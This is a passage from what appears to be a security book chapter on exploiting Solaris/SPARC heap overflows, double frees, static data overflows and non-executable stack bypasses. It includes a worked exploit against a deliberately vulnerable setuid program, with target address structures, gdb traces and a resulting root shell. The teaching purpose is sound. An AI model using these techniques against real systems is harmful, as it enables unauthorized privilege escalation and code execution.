If it is possible to include at least 256 padding instructions before the shellcode, the following branch instruction can be used as a padding instruction in heap overflows. It will jump ahead `0x404` bytes, skipping past the modification made by the reciprocal write. The branch distance is large in order to avoid null bytes, but if null bytes can be included in your shellcode, then by all means reduce the branch distance.

```
#define BRANCH_AHEAD "\x10\x80\x01\x01"
```

Note that if you choose to overwrite a return address on the stack, the `sp` member of the `TREE` structure must be made to point to this location minus 8 bytes. You could not point the `tp` member to the return location minus 32 bytes, because this would result in a value at the new return address plus 8 bytes being overwritten with a pointer that isn't valid code. Remember that `ret` is really a synthetic instruction that does `jmpl %i7 + 8, %g0`. The register `%i7` holds the address of the original call, so execution goes to that address plus 8 bytes (4 for the `call`, and 4 for the delay slot). If an address at an offset of 8 bytes into the return address were overwritten, this would be the first instruction executed, causing a crash for certain. If you instead overwrite a value 32 bytes into the shellcode and 24 past the first instruction, you then have a chance to branch past the corrupted address.

The reciprocal write situation introduces another limitation that is not generally critical in most cases, but is worth mentioning. Both the target address being overwritten and the value used to overwrite it must be valid writable addresses. They are both written to, and using a non-writable memory region for either value will result in a segmentation fault. Because normal code is not writable, this precludes return to libc type attacks, which try to make use of preexisting code found within the process address space.

Another limitation of exploiting the Solaris heap implementation is that a `malloc` or `realloc` must be called after a corrupted chunk is freed. Because

`free()` only places a chunk into a free list, but does not actually perform any processing on it, it is necessary to cause `realfree()` to be called for the corrupted chunk. This is done almost immediately within `malloc` or `realloc` (via `cleanfree`). If this is not possible, the corrupted chunk can be truly freed by causing `free()` to be called many times in a row. The free list holds a maximum of 32 entries, and when it is full each subsequent `free()` results in one entry being flushed from the free list via `realfree()`. `malloc` and `realloc` calls are fairly common in most applications and often isn't a huge limitation; however, in some cases where heap corruption isn't fully controllable, it is difficult to prevent an application from crashing before a `malloc` or `realloc` call occurs.

Certain characters are essential in order to use the method just described, including, specifically, the character `0xFF`, which is necessary to make `ISNOTREE()` true. If character restrictions placed on input prevent these characters from being used as part of an overflow, it is always possible to perform an arbitrary overwrite by taking advantage of code farther down within `t_delete()`, as well as `t_splay()`. This code will process the `TREE` structure as though it is actually part of the free tree, making this overwrite much more complicated. More restrictions will be placed on the values written and addresses written to.

Targets for Overwrite

The ability to overwrite 4 bytes of memory at an arbitrary location is enough to cause arbitrary code execution; however, an attacker must be exact about what is overwritten in order to achieve this.

Overwriting a saved program counter on the stack is always a viable option, especially if an attack can be repeated. Small variations in command-line arguments or environment variables tend to shift stack addresses slightly, resulting in them varying from system to system. However, if the attack isn't one-shot, or an attacker has specific knowledge about the system, it's possible to perform a stack overwrite with success.

Unlike many other platforms, code within the Procedure Linkage Table (PLT) on Solaris/SPARC doesn't dereference a value within the Global Offset Table (GOT). As a result, there aren't many convenient function pointers to overwrite. Once lazy binding on external references is resolved on demand, and once external references have been resolved, the PLT is initialized to load the address of an external reference into `%g1` and then `JMP` to that address. Although some attacks allow overwriting of the PLT with SPARC instructions, heap overflows aren't conducive to that in general. Because both the `tp` and `sp` members of the `TREE` structure must be valid writable addresses, the possibility of creating a single instruction that points to your shellcode and is also a valid writable address is slim at best.

However, there are many useful function pointers within libraries on Solaris. Simply tracing from the point of overflow in gdb is likely to reveal useful addresses to overwrite. It will likely be necessary to create a large list of library versions to make an exploit portable across multiple versions and installations of Solaris. For example, the function `mutex_lock` is commonly called by libc functions to execute non-thread-safe code. It's called immediately on `malloc` and `free`, among many others. This function accesses an address table called `ti_jmp_table` within the `.data` section of libc, and calls a function pointer located 4 bytes into this table.

Another possibly useful example is a function pointer called when a process calls `exit()`. Within a function called `_exithandle`, a function pointer is retrieved from an area of memory within the `.data` section of libc called `static_mem`. This function pointer normally points at the `fini()` routine called on exit to `cleanup`, but it can be overwritten to cause arbitrary code execution upon exit. Code such as this is relatively common throughout libc and other Solaris libraries, and provides a good opportunity for arbitrary code execution.

The Bottom Chunk

The *Bottom* chunk is the final chunk before the end of the heap and unpaged memory. This chunk is treated as a special case in most heap implementations, and Solaris is no exception. The Bottom chunk is almost always free if present, and therefore even if its header is corrupted it will never actually be freed. An alternative is necessary if you are unfortunate enough to be able to corrupt only the Bottom chunk.

The following code can be found within `_malloc_unlocked`:

```
/* if found none fitted in the tree */
if (!sp) {
     if (Bottom && size <= SIZE(Bottom)) {
          sp = Bottom;

…..

/* if the leftover is enough for a new free piece */
if ((n = (SIZE(sp) - size)) >= MINSIZE + WORDSIZE) {
     n -= WORDSIZE;
     SIZE(sp) = size;
     tp = NEXT(sp);
     SIZE(tp) = n|BIT0;
     realfree(DATA(tp));
```

In this case, if the size of the Bottom chunk were overwritten with a negative size, `realfree()` could be caused to be called on user-controlled data at an offset into the Bottom chunk.

In the preceding code sample, `sp` points at the Bottom chunk with a corrupted size. A portion of the Bottom chunk will be taken for the new memory allocation, and the new chunk `tp` will have its size set to `n`. The variable `n` in this case is the corrupted negative size, minus the size of the new allocation and `WORDSIZE`. `Realfree()` is then called on the newly constructed chunk, `tp`, which has a negative size. At this point the methodology mentioned previously using `t_delete()` will work well.

Small Chunk Corruption

The minimum size for a true `malloc` chunk is the 48 bytes necessary to store the `TREE` structure (this includes the size header). Rather than rounding all small `malloc` requests up to this rather large size, the Solaris heap implementation has an alternative way of dealing with small chunks. Any `malloc()` request for a size less than 40 bytes results in different processing than requests for larger sizes. This is implemented by the function `_smalloc` within `malloc.c`. Requests that round up in size to 8, 16, 24, or 32 bytes are handled by this code.

The function `_smalloc` allocates an array of same-sized memory blocks to fill small malloc requests. These blocks are arranged in a linked list, and when an allocation request is made for an appropriate size the head of the linked list is returned. When a small chunk is freed, it doesn't go through normal processing but simply is put back into the right linked list at its head. Libc maintains a static buffer containing the heads of the linked lists. Because these memory chunks do not go through normal processing, certain alternatives are needed to deal with overflows that occur in them.

The structure of a small `malloc` chunk is shown in Table 10-10.

Table 10-10: Structure of a Small malloc Chunk

WORD size (8 bytes)	WORD next (8 bytes)	User data (8, 16, 24, or 32 bytes large)

Because small chunks are differentiated from large chunks solely by their size field, it is possible to overwrite the size field of a small `malloc` chunk with a large or negative size. This would result in it going through normal chunk processing when it is freed and allowing for standard heap exploitation methods.

The linked-list nature of the small `malloc` chunks allows for another interesting exploit mechanism. In some situations, it is not possible to corrupt nearby chunk headers with attacker-controlled data. Personal experience has shown that this situation is not completely uncommon, and often occurs when the data that overwrites the chunk header is an arbitrary string or some other uncontrollable data. If it is possible to overwrite other portions of the heap

with attacker-defined data, however, it is often possible to write into the small `malloc` chunk linked lists. By overwriting the `next` pointer in this linked list, it is possible to make `malloc()` return an arbitrary pointer anywhere in memory. Whatever program data is written to the pointer returned from `malloc()` will then corrupt the address you have specified. This can be used to achieve an overwrite of more than 4 bytes via a heap overflow, and can make some otherwise tricky overflows exploitable.

Other Heap-Related Vulnerabilities

There are other vulnerabilities that take advantage of heap data structures. Let's look at some of the most common and see how they can be exploited to gain control of execution.

Off-by-One Overflows

As is the case with stack-based off-by-one overflows, heap off-by-one overflows are very difficult to exploit on Solaris/SPARC due mainly to byte order. An off-by-one on the heap that writes a null byte out of bounds will generally have absolutely no effect on heap integrity. Because the most significant byte of a chunk size will be virtually always a zero anyway, writing one null byte out of bounds does not affect this. In some cases, it will be possible to write a single arbitrary byte out of bounds. This would corrupt the most significant byte of the chunk size. In this case, exploitation becomes a remote possibility, depending on the size of the heap at the point of corruption and whether the next chunk will be found at a valid address. In most cases, exploitation will still be very difficult and unrealistic to achieve.

Double Free Vulnerabilities

Double free vulnerabilities may be exploitable on Solaris in certain cases; however, the chances for exploitability are decreased by some of the checking done within `_free_unlocked()`. This checking was added explicitly to check for double frees, but is not altogether effective.

The first thing checked is that the chunk being freed isn't `Lfree`, the very last chunk that was freed. Subsequently, the chunk header of the chunk being freed is checked to make sure that it hasn't already been freed (the lowest bit of the size field must be set). The third and final check to prevent double frees determines that the chunk being freed isn't within the free list. If all three checks pass, the chunk is placed into the free list and will eventually be passed to `realfree()`.

In order for a double free vulnerability to be exploitable, it is necessary for the free list to be flushed sometime between the first and second `free`. This could happen as a result of a `malloc` or `realloc` call, or if 32 consecutive `free`s occur, resulting in part of the list being flushed. The first `free` must result in the chunk being consolidated backward with a preceding chunk, so that the original pointer resides in the middle of a valid heap chunk. This valid heap chunk must then be reassigned by `malloc` and be filled with attacker-controlled data. This would allow the second check within `free()` to be bypassed, by resetting the low bit of the chunk size. When the double free occurs, it will point to user-controlled data resulting in an arbitrary memory overwrite. While this scenario probably seems as unlikely to you as it does to me, it is possible to exploit a double free vulnerability on the Solaris heap implementation.

Arbitrary Free Vulnerabilities

Arbitrary free vulnerabilities refer to coding errors that allow an attacker to directly specify the address passed to `free()`. Though this may seem like an absurd coding error to make, it does happen when uninitialized pointers are freed, or when one type is mistaken for another as in a "union mismanagement" vulnerability.

Arbitrary free vulnerabilities are very similar to standard heap overflows in terms of how the target buffer should be constructed. The goal is to achieve the forward consolidation attack with an artificial next chunk via `t_delete`, as has been previously described in detail. However, it is necessary to accurately pinpoint the location of your chunk setup in memory for an arbitrary free attack. This can be difficult if the fake chunk you are trying to free is located at some random location somewhere on the process heap.

The good news is that the Solaris heap implementation performs no pointer verification on values passed to `free()`. These pointers can be located on the heap, stack, static data, or other memory regions and they will be gladly freed by the heap implementation. If you can find a reliable location in static data or on the stack to pass as a location to `free()`, then by all means do it. The heap implementation will put it through the normal processing that happens on chunks to be freed, and will overwrite the arbitrary address you specify.

Heap Overflow Example

Once again, these theories are easier to understand with a real example. We will look at an easy, best-case heap overflow exploit to reinforce and demonstrate the exploit techniques discussed so far.

The Vulnerable Program

Once again, this vulnerability is too blatantly obvious to actually exist in modern software. We'll again use a vulnerable `setuid` executable as an example, with a string-based overflow copying from the first program argument. The vulnerable function is:

```
int vulnerable_function(char *userinput) {
        char *buf = malloc(64);
        char *buf2 = malloc(64);
        strcpy(buf,userinput);
        free(buf2);
        buf2 = malloc(64);
        return 1;
}
```

A buffer, `buf`, is the destination for an unbounded string copy, overflowing into a previously allocated buffer, `buf2`. The heap buffer `buf2` is then freed, and another call to `malloc` causes the free list to be flushed. We have two function returns, so we have the choice of overwriting a saved program counter on the stack should we choose to. We also have the choice of overwriting the previously mentioned function pointer called as part of the `exit()` library call.

First, let's trigger the overflow. The heap buffer is 64 bytes in size, so simply writing 65 bytes of string data to it should cause a program crash.

```
# gdb ./heap_overflow
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
Are welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "sparc-sun-solaris2.8"...(no debugging symbols
found)...

(gdb) r `perl -e "print 'A' x 64"`
Starting program: /test/./heap_overflow `perl -e "print 'A' x 64"`
(no debugging symbols found)...(no debugging symbols found)...(no
debugging symbols found)...
Program exited normally.

(gdb) r `perl -e "print 'A' x 65"`
Starting program: /test/./heap_overflow `perl -e "print 'A' x 65"`
(no debugging symbols found)...(no debugging symbols found)...(no
debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0xff2c2344 in realfree () from /usr/lib/libc.so.1
```

```
(gdb) x/i $pc
0xff2c2344 <realfree+116>:      ld  [ %l5 + 8 ], %o1

(gdb) print/x $l5
$1 = 0x41020ac0
```

At the 65-byte threshold, the most significant byte of the chunk size is corrupted by `A` or `0x41`, resulting in a crash in `realfree()`. At this point we can begin constructing an exploit that overwrites the chunk size with a negative size, and creates a fake `TREE` structure behind the chunk size. The exploit contains the following platform-specific information:

```
struct {
        char *name;
        int buffer_length;
        unsigned long overwrite_location;
        unsigned long overwrite_value;
        int align;
} targets[] = {

        {
                "Solaris 9 Ultra-Sparc",
                64,
                0xffbf1233,
                0xffbffcc4,
                0
        }

};
```

In this case, `overwrite_location` is the address in memory to overwrite, and `overwrite_value` is the value with which to overwrite it. In the manner that this particular exploit constructs the `TREE` structure, `overwrite_location` is analogous to the `sp` member of the structure, while `overwrite_value` corresponds to the `tp` member. Once again, because this is exploiting a locally executable binary, the exploit will store shellcode in the environment. To start, the exploit will initialize `overwrite_location` with an address that isn't 4-byte aligned. This will immediately cause a `BUS` fault when writing to that address, and allow us to break at the right point in program execution to examine memory and locate the information we need in order to finish the exploit. A first run of the exploit yields the following:

```
Program received signal SIGBUS, Bus error.
0xff2c272c in t_delete () from /usr/lib/libc.so.1
(gdb) x/i $pc
0xff2c272c <t_delete+52>:       st  %o0, [ %o1 + 8 ]
(gdb) print/x $o1
$1 = 0xffbf122b
```

```
(gdb) print/x $o0
$2 = 0xffbffcc4
(gdb)
```

The program being exploited dies as a result of a `SIGBUS` signal generated when trying to write to our improperly aligned memory address. As you can see, the actual address written to (`0xffbf122b + 8`) corresponds to the value of `overwrite_location`, and the value being written is the one we previously specified as well. It's now simply a matter of locating our shellcode and overwriting an appropriate target.

Our shellcode can once again be found near the top of the stack, and this time the alignment is off by 3 bytes.

```
(gdb)
0xffbffa48:     0x01108001      0x01108001      0x01108001      0x01108001
0xffbffa58:     0x01108001      0x01108001      0x01108001      0x01108001
0xffbffa68:     0x01108001      0x01108001      0x01108001      0x01108001
```

We will try to overwrite a saved program counter value on the stack in order to gain control of the program. Because a change in the environment size is likely to change the stack for the program slightly, we'll adjust the alignment value in the target structure to be 3 and run the exploit again. Once this has been done, locating an accurate return address at the point of crash is relatively easy.

```
(gdb) bt
#0  0xff2c272c in t_delete () from /usr/lib/libc.so.1
#1  0xff2c2370 in realfree () from /usr/lib/libc.so.1
#2  0xff2c1eb4 in _malloc_unlocked () from /usr/lib/libc.so.1
#3  0xff2c1c2c in malloc () from /usr/lib/libc.so.1
#4  0x107bc in main ()
#5  0x10758 in frame_dummy ()
```

A stack `backtrace` will give us a list of appropriate stack frames from which to chose. We can then obtain the information we need to overwrite the saved program counter in one of these frames. For this example let's try frame number 4. The farther up the call tree the function is, the more likely its register window has been flushed to the stack; however, the function in frame 5 will never return.

```
(gdb) i frame 4
Stack frame at 0xffbff838:
 pc = 0x107bc in main; saved pc 0x10758
 (FRAMELESS), called by frame at 0xffbff8b0, caller of frame at
0xffbff7c0
 Arglist at 0xffbff838, args:
 Locals at 0xffbff838,
```

```
(gdb) x/16x 0xffbff838
0xffbff838:     0x0000000c      0xff33c598      0x00000000
0x00000001
0xffbff848:     0x00000000      0x00000000      0x00000000
0xff3f66c4
0xffbff858:     0x00000002      0xffbff914      0xffbff920
0x00020a34
0xffbff868:     0x00000000      0x00000000      0xffbff8b0
0x0001059c
(gdb)
```

The first 16 words of the stack frame are the saved register window, the last of which is the saved instruction pointer. The value in this case is `0x1059c`, and it is located at `0xffbff874`. We now have all the information necessary to attempt to complete our exploit. The final target structure looks like the following:

```
struct {
        char *name;
        int buffer_length;
        unsigned long overwrite_location;
        unsigned long overwrite_value;
        int align;
} targets[] = {

        {
                "Solaris 9 Ultra-Sparc",
                64,
                0xffbff874,
                0xffbffa48,
                3
        }

};
```

Now, to give the exploit a try and verify that it does indeed work as intended, we do the following:

```
$ ls -al heap_overflow
-rwsr-xr-x   1 root     other       7028 Aug 22 00:33 heap_overflow
$ ./heap_exploit 0
# id
uid=0(root) gid=60001(nobody)
#
```

The exploit works as expected, and we are able to execute arbitrary code. Although the heap exploit was slightly more complicated than the stack overflow example, it does once again represent the best-case scenario for exploitation;

some of the complications mentioned previously are likely to come up in more complex exploitation scenarios.

Other Solaris Exploitation Techniques

There are a few remaining important techniques concerning Solaris-based systems that we should discuss. One, which you are highly likely to run into, is a non-executable stack. These protections can be overcome, both on Solaris and other OSes, so let's take a look at how to do it.

Static Data Overflows

Overflows that occur in static data rather than on the heap or stack are often more tricky to exploit. They often must be evaluated on a case-by-case basis, and binaries must be examined in order to locate useful variables near the target buffer in static memory. The organization of static variables in a binary is not always made obvious by examining the source code, and binary analysis is the only reliable and effective way to determine what you're overflowing into. There are some standard techniques that have proven useful in the past for exploiting static data overflows.

If your target buffer is truly within the `.data` section and not within the `.bss`, it may be possible to overflow past the bounds of your buffer and into the `.dtors` section where a `stop` function pointer is located. This function pointer is called when the program exits. Provided that no data was overwritten that caused the program to crash before `exit()`, when the program exits the overwritten `stop` function pointer will be called executing arbitrary code.

If your buffer is uninitialized and is located within the `.bss` section, your options include overwriting some program-specific data within the `.bss` section, or overflowing out of `.bss` and overwriting the heap.

Bypassing the Non-Executable Stack Protection

Modern Solaris operating systems ship with an option that makes the stack non-executable. Any attempt to execute code on the stack will result in an access violation and the affected program will crash. This protection has not been extended to the heap or static data areas, however. In most cases this protection is only a minor obstacle to exploitation.

It is sometimes possible to store shellcode on the heap or in some other writable region of memory, and then redirect execution to that address. In this case the non-executable stack protection will be of no consequence. This may not be possible if the overflow is the result of a string-copy operation, because

a heap address will most often contain a null byte. In this case, a variant of the return to libc technique invented by John McDonald may be useful. He described a way of chaining library calls by creating fake stack frames with the necessary function arguments. For example, if you wanted to call the libc functions `setuid` followed by `exec`, you would create a stack frame containing the correct arguments for the first function `setuid` in the input registers, and return or redirect execution to `setuid` within `libc.so.1`. However, instead of executing code directly from the beginning of `setuid`, you would execute code within the function after the `save` instruction. This prevents the overwriting of input registers, and the function arguments are taken from the current state of the input registers, which will be controlled by you via a constructed stack frame. The stack frame you create should load the correct arguments for `setuid` into the input registers. It should also contain a frame pointer that links to another set of saved registers set up specifically for `exec`. The saved program counter (`%i7`) within the stack frame should be that of `exec` plus 4 bytes, skipping the `save` instruction there as well.

When `setuid` is executed, it will return to `exec` and restore the saved registers from the next stack frame. It is possible to chain multiple library functions together in this manner, and specify fully their arguments, thus bypassing the non-executable stack protection. However, it is necessary to know the specific location of library functions as well as the specific location of your stack frames in order to link them. This makes this attack quite useful for local exploits or exploits that are repeatable and for which you know specifics about the system you are exploiting. For anything else, this technique may be limited in usefulness.

Conclusion

While certain characteristics of the SPARC architecture, such as register windows, may seem foreign to those only familiar with the x86, once the basic concepts are understood, many similarities in exploit techniques can be found. Exploitation of the off-by-one bug classes is made more difficult by the big-endian nature of the architecture. However, virtually everything else is exploitable in a manner similar to other operating systems and architectures. Solaris on SPARC presents some unique exploitation challenges, but is also a very well-defined architecture and operating system, and many of the exploit techniques described here can be expected to work in most situations. Complexities in the heap implementation offer exploitation possibilities not yet thought of. Further exploitation techniques not mentioned in this chapter definitely exist, and you have plenty of opportunity to find them.